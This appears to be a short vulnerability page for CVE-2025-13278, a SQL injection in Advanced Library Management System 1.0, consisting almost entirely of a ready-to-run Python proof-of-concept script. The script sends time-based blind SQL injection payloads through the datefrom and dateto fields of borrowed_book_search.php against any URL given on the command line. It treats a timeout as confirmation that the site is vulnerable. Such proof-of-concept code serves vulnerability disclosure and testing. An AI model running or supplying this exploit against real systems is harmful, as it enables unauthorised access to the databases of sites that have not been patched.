CVE-2025-13278: Advanced Library Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13278 PoC - SQL Injection in Advanced Library Management System 1.0 # Target: /borrowed_book_search.php # Parameters: datefrom, dateto def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-13278 This PoC demonstrates time-based blind SQL injection """ # Vulnerable endpoint endpoint = f"{target_url}/borrowed_book_search.php" # Payload for time-based blind SQL injection (MySQL) # This payload causes a 5-second delay if vulnerable payload = { 'datefrom': "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1", 'dateto': "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" } try: print(f"[*] Sending payload to {endpoint}") response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Response status: {response.status_code}") return response.text except requests.Timeout: print("[!] Request timed out - target is likely vulnerable!") return None except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2025-13278.py <target_url>")